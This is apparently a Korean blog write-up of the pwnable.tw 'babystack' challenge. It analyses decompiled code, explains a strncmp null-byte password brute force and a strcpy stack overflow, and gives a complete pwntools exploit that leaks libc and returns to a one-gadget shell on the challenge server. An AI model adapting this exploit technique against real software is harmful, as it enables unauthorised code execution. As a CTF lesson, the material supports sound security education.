Mitigation
[*] '/home/juntae/wargame/pwnable.tw/babystack/babystack'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
매우 빡치게 미티게이션이 다걸려있습니다.
여기서 카나리는 __stack_check_fail
checksec
에서는 해당 함수를 사용하면 카나리가 있다고 판단하나봐요.
Analysis
main()
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
_QWORD *v3; // rcx
__int64 v4; // rdx
char copy_buf; // [rsp+0h] [rbp-60h]
__int64 password; // [rsp+40h] [rbp-20h]
__int64 v8; // [rsp+48h] [rbp-18h]
char select; // [rsp+50h] [rbp-10h]
setup();
random_fd[0] = open("/dev/urandom", 0);
read(random_fd[0], &password, 0x10uLL);
v3 = maping_address;
v4 = v8;
*maping_address = password;
v3[1] = v4;
close(random_fd[0]);
while ( 1 )
{
write(1, ">> ", 3uLL);
_read_chk(0LL, &select, 16LL, 16LL);
if ( select == '2' ) // exit()
break;
if ( select == '3' )
{
if ( check )
magic_copy(©_buf);
else
puts("Invalid choice");
}
else if ( select == '1' )
{
if ( check )
check = 0;
else
check_password(&password);
}
else
{
puts("Invalid choice");
}
}
if ( !check )
exit(0);
if ( memcmp(&password, maping_address, 0x10uLL) )
JUMPOUT(exit_routine);
return 0LL;
}
main
함수입니다. 먼저 setup
함수에서 기본적인 셋팅을 진행해주고 나옵니다.
알람이 30분으로 걸려있길래 뭔가 심상치 않았는데 정말 미친문제입니다.
password
에 랜덤으로 16개의 값을 넣어주고, 메인 루틴으로 들어갑니다.
선택지는 '1','2','3' 이렇게 3가지가 있습니다.
먼저 1입니다.
first routine
else if ( select == '1' )
{
if ( check )
check = 0;
else
check_password(&password);
}
int __fastcall check_password(const char *password)
{
size_t buf_len; // rax
char input; // [rsp+10h] [rbp-80h]
printf("Your passowrd :");
read_str(&input, 0x7Fu);
buf_len = strlen(&input);
if ( strncmp(&input, password, buf_len) )
return puts("Failed !");
check = 1;
return puts("Login Success !");
}
check_password
함수에서는 패스워드가 랜덤한 문자와 일치하는지 검사합니다.
여기서 취약점은 strncmp
에 있습니다.
strncmp
는 NULL Byte 까지 검사를 진행합니다.
따라서 첫바이트가 NULL
이면 로그인에 무조건 성공 할 수 있습니다.
동일한 원리로, 첫번째 바이트를 0x01
부터 0xff
까지 브루트포싱하고, 2번째 바이트를 NULL
로 세팅하게되면, 패스워드의 첫번째 바이트를 얻어낼 수 있습니다.
이렇게 모든 패스워드를 얻어낼 수 있습니다.
second routine
if ( select == '2' ) // exit()
break;
프로그램을 종료합니다. exit()
를 사용하지않으므로 ret
을 변조해야 한다는것을 추측할 수 있습니다.
third routine
if ( select == '3' )
{
if ( check )
magic_copy(©_buf);
else
puts("Invalid choice");
}
int __fastcall magic_copy(char *copy_buf)
{
char src; // [rsp+10h] [rbp-80h]
printf("Copy :");
read_str(&src, 63u);
strcpy(copy_buf, &src);
return puts("It is magic copy !");
}
unsigned __int8 *__fastcall read_str(unsigned __int8 *buf, unsigned int size)
{
unsigned __int8 *result; // rax
int input_size; // [rsp+1Ch] [rbp-4h]
input_size = read(0, buf, size);
if ( input_size <= 0 )
{
puts("read error");
exit(1);
}
result = buf[input_size - 1];
if ( result == '\n' )
{
result = &buf[input_size - 1];
*result = '\0';
}
return result;
}
만약 로그인에 성공해서 check
가 1이면 magic_copy
를 진행합니다.
src
에 값을 입력하고 그만큼 main함수에 있는 copy_buf
에 값을 넣어줍니다.
핵심 취약점은 여기서 발생합니다.
read
함수는 원래 NULL terminate
를 해주지 않습니다.
그래서 자체 입력함수인 read_str
에서 마지막 바이트가 '\n'인지 검사하고 개행문자를 NULL 문자로 치환시켜주는것을 볼 수 있습니다.
하지만, 버퍼에 63 값을 꽉 채우면 '\n'이 들어가지 않습니다.
따라서 NULL문자를 붙히지않을 수 있습니다.
이건 strcpy
에 응용할 수 있습니다.
strcpy
는 NULL문자까지 복사하는데, NULL문자를 지워주었으므로, 오버플로우가 가능합니다.
check_password
는 최대 0x7f만큼 입력받을 수 있고, magic_copy
에서 copy된 결과는 main함수의 copy_buf
로 넘어가게 됩니다.
해당 변수는 ebp-0x60
에 위치해 있으므로, NULL문자를 제거하여 오버플로우를 트리거할 수 있다면, rip
를 변조할 수 있게됩니다.
finally..
if ( memcmp(&password, maping_address, 0x10uLL) )
JUMPOUT(exit_routine);
마지막으로 이런 루틴이 있습니다.
어셈블리로 보면 아래와 같습니다.
.text:0000000000001001 mov eax, 0
.text:0000000000001006 call __stack_chk_fail
.text:000000000000100B ; -----------------------------------------
여기서 __stack_chk_fail
을 사용해서 카나리가 있다고 뜨는거였네요.
마지막에 익스할때는 패스워드를 오버플로우 시키므로, 패스워드를 원래대로 돌려놔야 합니다.
Leak
오버플로우로 패스워드를 변조할 수 있습니다. 그리고 check로 패스워드 뒷부분까지 브루트포싱해서 알아낼 수 있습니다.
패스워드를 브루트포싱한 것 처럼, libc
부분이 있을때까지 더미로 덮어줍니다.
그리고 check_password
함수를 이용하여 libc
영역을 leak할 수 있습니다.
Exploit
from pwn import *
context.log_level = "debug"
e = ELF("./babystack")
libc = ELF("./libc_64.so.6")
#libc = e.libc
r = remote("chall.pwnable.tw", 10205)
#r = process("./babystack",aslr = False)
def go(data):
r.sendafter(">> ","1")
r.sendafter("Your passowrd :",data)
def leak_password():
progress = log.progress("Password leak")
password = ""
for i in range(0,0x10):
for j in range(0x1,0xff + 1):
payload = password + chr(j) + "\x00"
go(payload)
response = r.recvline()
if "Login Success !" in response:
password += chr(j)
log.info("password len : " + hex(len(password)))
r.sendafter(">> ","1")
break
progress.success("Finish leak password.")
return password
def leak_libcbase():
payload = ""
payload += "\x00" + "B" * (0x58 - 0x1)
go(payload)
copy("A" * 63)
progress = log.progress("Libcbase leak")
libcbase = ""
r.sendafter(">> ","1")
for i in range(0,0x6):
for j in range(0x1,0xff + 1):
payload = ""
payload += "B" * 0x10 + "\x31"
payload += "B" * 7 + libcbase + chr(j) + "\x00"
go(payload)
response = r.recvline()
if "Login Success !" in response:
libcbase += chr(j)
r.sendafter(">> ","1")
break
progress.success("Finish leak libcbase.")
return libcbase
def copy(data):
r.sendafter(">> ","3")
r.sendafter("Copy :",data)
pie = 0x555555554000
log.info("pie : " + hex(pie))
password = leak_password()
libcbase = u64(leak_libcbase() + "\x00\x00")
libcbase -= libc.symbols["setvbuf"] + 324
#oneshot = libcbase + 0xf1147 # local
oneshot = libcbase + 0xf0567
log.info("libc_base : " + hex(libcbase))
log.info("oneshot : " + hex(oneshot))
payload = ""
payload += "\x00"
payload += "B" * (0x40 - 0x1)
payload += password
payload += "C" * 0x18
payload += p64(oneshot)
go(payload)
copy("A" * 63)
r.interactive()
디버깅하면서 스택에 값이 들어가는걸 보고, 브포때리면서 하나하나씩 leak하면 됩니다.
Flag
[*] Switching to interactive mode
[DEBUG] Received 0x12 bytes:
'It is magic copy !'
It is magic copy ![DEBUG] Received 0x4 bytes:
'\n'
'>> '
>> $ 2
[DEBUG] Sent 0x2 bytes:
'2\n'
$ id
[DEBUG] Sent 0x3 bytes:
'id\n'
[DEBUG] Received 0x3f bytes:
'uid=1000(babystack) gid=1000(babystack) groups=1000(babystack)\n'
uid=1000(babystack) gid=1000(babystack) groups=1000(babystack)
끝!
'System Hacking ( pwnable ) > pwnable.TW Write-up' 카테고리의 다른 글
[pwnable.tw] Heap Paradise ( write-up ) (0) | 2019.10.31 |
---|---|
[pwnable.tw] bookwriter ( write-up ) (0) | 2019.10.15 |
[pwnable.tw] tcache tear ( write-up ) (0) | 2019.09.25 |
[pwnable.tw] seethefile ( write-up ) (0) | 2019.09.24 |
[pwnable.tw] 3x17 ( write-up ) (0) | 2019.09.24 |